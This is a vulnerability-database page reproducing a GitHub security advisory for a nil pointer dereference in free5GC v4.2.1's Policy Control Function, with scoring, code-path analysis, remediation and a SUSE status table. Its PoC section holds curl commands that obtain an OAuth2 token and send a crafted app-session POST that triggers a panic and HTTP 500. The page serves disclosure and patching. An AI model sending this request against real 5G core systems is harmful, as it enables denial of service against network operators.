Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
PCF SBI is network-reachable (AV:N), token acquisition is low-complexity (AC:L), OAuth2 token required (PR:L); panic causes only per-request availability loss with no data disclosure or state mutation (C:N/I:N/A:H).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.
The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.
This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.
Details
Validated against the PCF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - PCF endpoint:
http://10.100.200.9:8000 - Validation date: 2026-03-12
Vulnerable handler path:
postAppSessCtxProcedure
-> medComponents loop
-> appID := medComp.AfAppId
routeReq := medComp.AfRoutReq // nil when AfRoutReq absent
provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.
Code evidence (paths in free5gc/pcf):
- Affected route + dispatch:
NFs/pcf/internal/sbi/api_policyauthorization.go - Create handler path:
NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil
routeReqinto the traffic-routing helper:NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of
routeReq.*fields):NFs/pcf/internal/sbi/processor/policyauthorization.go:1740
PoC
Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.
- Obtain a valid
npcf-policyauthorizationtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'- Trigger the panic with a single valid authenticated POST whose
ascReqData.suppFeat == "1",medComponentssuppliesafAppId, andAfRoutReqis absent:
curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
--data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'HTTP/1.1 500 Internal Server Error- Control comparison -- same request shape but
suppFeat="0"-> normal201 Created:
curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
--data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'HTTP/1.1 201 Created- PCF container logs show the panic stack landing in
provisioningOfTrafficRoutingInfowithrouteReq = 0x0:
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)
.../policyauthorization.go:1740
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure
.../policyauthorization.go:288
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext
.../policyauthorization.go:139
github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions
.../api_policyauthorization.go:119
[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |Impact
NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents.*.AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.
Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65
AnalysisAI
Nil pointer dereference in free5GC v4.2.1's Policy Control Function (PCF) allows any caller holding a valid npcf-policyauthorization OAuth2 token to trigger a Go runtime panic on every POST to /npcf-policyauthorization/v1/app-sessions, causing HTTP 500 responses that deny app-session creation for that request. The flaw activates only when suppFeat="1" enables traffic-routing feature negotiation and a medComponents entry supplies afAppId without AfRoutReq - a valid input combination the handler passes into provisioningOfTrafficRoutingInfo with routeReq==nil and then immediately dereferences. Publicly available exploit code exists in the GHSA advisory; a vendor patch is confirmed at PCF module v1.4.3 / free5GC v4.2.2. No confirmed active exploitation (CISA KEV absent) and EPSS sits at 0.05%, consistent with the product's niche 5G core deployment footprint.
Technical ContextAI
The affected component is the Npcf_PolicyAuthorization service (3GPP TS 29.514) inside free5GC's PCF Network Function, implemented in Go and served by the Gin HTTP framework. The POST /npcf-policyauthorization/v1/app-sessions endpoint allows Application Functions to create policy app-sessions, optionally negotiating traffic-routing capabilities via the suppFeat bitmask. When suppFeat bit-0 is set ("1"), the handler loops over medComponents entries and calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, fStatus), where routeReq is taken directly from medComp.AfRoutReq - a field that is optional in the 3GPP data model and is nil when omitted. Inside provisioningOfTrafficRoutingInfo at policyauthorization.go:1740, the code dereferences routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc with no nil guard, triggering a Go runtime nil pointer dereference (CWE-476) and improper handling of an exceptional condition (CWE-754). Gin's built-in recovery middleware catches the panic and converts it to HTTP 500, preserving PCF process liveness but denying the specific request. The affected Go module is github.com/free5gc/pcf (CPE: pkg:go/github.com_free5gc_pcf), versions below 1.4.3. The fix (PR #65, commit 508d70b8527a6c8c923179dad450ea01e16b6aeb) inserts an early nil-return guard before any field access on routeReq.
RemediationAI
Upgrade free5GC to v4.2.2 or upgrade the PCF Go module directly to v1.4.3, which contains the nil-guard fix from commit 508d70b8527a6c8c923179dad450ea01e16b6aeb (https://github.com/free5gc/pcf/pull/65). The patch inserts a nil check at the entry of provisioningOfTrafficRoutingInfo - if routeReq is nil, the function logs a warning and returns the existing PCC rule for the appID without panicking. The authoritative security advisory is https://github.com/free5gc/free5gc/security/advisories/GHSA-wwqh-7jm5-gj7w. As a compensating control before patching, restrict issuance of npcf-policyauthorization OAuth2 tokens to only explicitly trusted and validated AF clients, reducing the population of callers who could - intentionally or inadvertently - send the triggering request shape; note this does not eliminate the risk if trusted clients legitimately omit AfRoutReq. Operators may also monitor PCF container logs for stack traces containing provisioningOfTrafficRoutingInfo to detect exploitation attempts; this has no remediation effect but enables rapid detection.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-476 – NULL Pointer Dereference
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32551
GHSA-wwqh-7jm5-gj7w